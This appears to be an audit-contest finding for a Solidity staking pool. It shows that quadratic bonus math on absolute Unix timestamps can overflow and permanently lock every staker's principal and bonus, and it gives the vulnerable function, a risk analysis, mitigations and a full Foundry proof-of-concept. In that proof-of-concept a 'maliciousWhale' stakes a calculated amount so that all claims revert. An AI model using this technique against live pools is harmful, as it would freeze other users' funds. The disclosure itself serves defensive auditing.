FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Absolute timestamp quadratic bonus math can brick favorable claims for unusually large stake tokens

Author Revealed upon completion

Description

The pool distributes bonus shares using a quadratic formula that measures each staker's (outcomeFlaggedAt − entryTime)² score. The implementation stores global and per-user sums of amount × entryTime and amount × entryTime², then evaluates T²·stake − 2T·Σ(stake·entryTime) + Σ(stake·entryTime²) at claim time, where T is outcomeFlaggedAt. Because T and entryTime are absolute Unix timestamps rather than elapsed durations, the intermediate products can overflow checked uint256 arithmetic when the allowlisted ERC20 has a sufficiently large raw-unit balance. The pool can successfully record risk-window accounting at an earlier timestamp riskWindowStart, but when outcomeFlaggedAt is later and larger, _bonusShare() reverts before transferring principal or bonus, permanently locking funds for every staker in an affected pool that has a positive bonus and resolves SURVIVED or EXPIRED.

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
@> uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
@> uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood:

  • The factory allowlist must include a standard ERC20 whose total supply, decimals, or balances permit raw stake around type(uint256).max / T² to be reached; at production-scale timestamps this is approximately 3.7e58 raw units.

  • An attacker must control or borrow enough token units to push totalEligibleStake into the unsafe range, where type(uint256).max / T² < totalEligibleStake ≤ type(uint256).max / riskWindowStart².

  • Common 18-decimal tokens with ordinary supplies are far below this threshold, so the precondition depends on governance's token selection and is unusual.

  • Once such a token is allowlisted, any staker can deposit, any account can contribute a positive bonus, and favorable claims execute the overflowing math without additional privilege.

Impact:

  • Favorable principal and bonus recovery can be permanently bricked for all stakers once the global snapshot exceeds the safe arithmetic range.

  • The pool reserves remaining principal plus unclaimed bonus while stakers remain unclaimed, so sweepUnclaimedBonus() cannot rescue the locked funds.

  • The issue affects every staker in the pool, not only the attacker, and does not create theft but permanently locks the commingled pool balance.

Proof of Concept

test/poc/AbsoluteTimestampQuadraticOverflowPoC.t.sol:

pragma solidity 0.8.26;
contract AbsoluteTimestampQuadraticOverflowPoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
address internal agreementOwner = makeAddr("agreementOwner");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal maliciousWhale = makeAddr("maliciousWhale");
address internal sponsor = makeAddr("sponsor");
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(agreementOwner);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
vm.prank(agreementOwner);
address created = factory.createPool(
address(agreement), address(token), block.timestamp + 31 days, ONE, recovery, scope
);
pool = ConfidencePool(created);
}
function testPoC_largeAllowlistedTokenBricksFavorableClaims() public {
uint256 t0 = block.timestamp;
uint256 safeTotalStakeAtT0 = type(uint256).max / t0 / t0;
uint256 aliceStake = 10 * ONE;
uint256 whaleStake = safeTotalStakeAtT0 - aliceStake;
uint256 elapsed = 1 days;
uint256 T = t0 + elapsed;
assertGt(safeTotalStakeAtT0, type(uint256).max / T / T, "chosen total must overflow at claim T");
assertLt(aliceStake * elapsed * elapsed, type(uint256).max, "Alice's elapsed-time score is safe");
_stake(alice, aliceStake);
_stake(maliciousWhale, whaleStake);
assertEq(pool.totalEligibleStake(), safeTotalStakeAtT0, "total stake is still safe at risk start");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), t0, "risk starts at the safe timestamp");
_contributeBonus(sponsor, ONE);
vm.warp(T);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "favorable resolution reached");
assertEq(pool.snapshotTotalStaked(), safeTotalStakeAtT0, "unsafe total is snapshotted");
assertEq(pool.outcomeFlaggedAt(), T, "claim formula uses the later absolute timestamp");
uint256 poolBalanceBeforeClaims = token.balanceOf(address(pool));
uint256 aliceBalanceBefore = token.balanceOf(alice);
vm.expectRevert(stdError.arithmeticError);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice), aliceBalanceBefore, "Alice received no principal or bonus");
assertEq(pool.eligibleStake(alice), aliceStake, "Alice's claim remains stuck in the pool");
assertFalse(pool.hasClaimed(alice), "failed claim does not progress accounting");
vm.expectRevert(stdError.arithmeticError);
vm.prank(maliciousWhale);
pool.claimSurvived();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(address(pool)), poolBalanceBeforeClaims, "all funds remain locked");
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}

Recommended Mitigation

Compute bonus scores using elapsed durations rather than absolute Unix timestamps. Rebase stored per-user and global sums around riskWindowStart by recording amount × (entryTime − riskWindowStart) and amount × (entryTime − riskWindowStart)², then use D = outcomeFlaggedAt − riskWindowStart in the quadratic formula. This bounds the squared term by pool duration rather than absolute Unix time. Enforce an explicit maximum totalEligibleStake derived from the pool's maximum possible duration so the worst-case score computation cannot overflow. If exact large-magnitude support is required, construct the entire score with 512-bit-safe arithmetic, not only the final Math.mulDiv() step. Consider a principal-only fallback or emergency migration path so principal remains recoverable if bonus calculation ever becomes impossible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!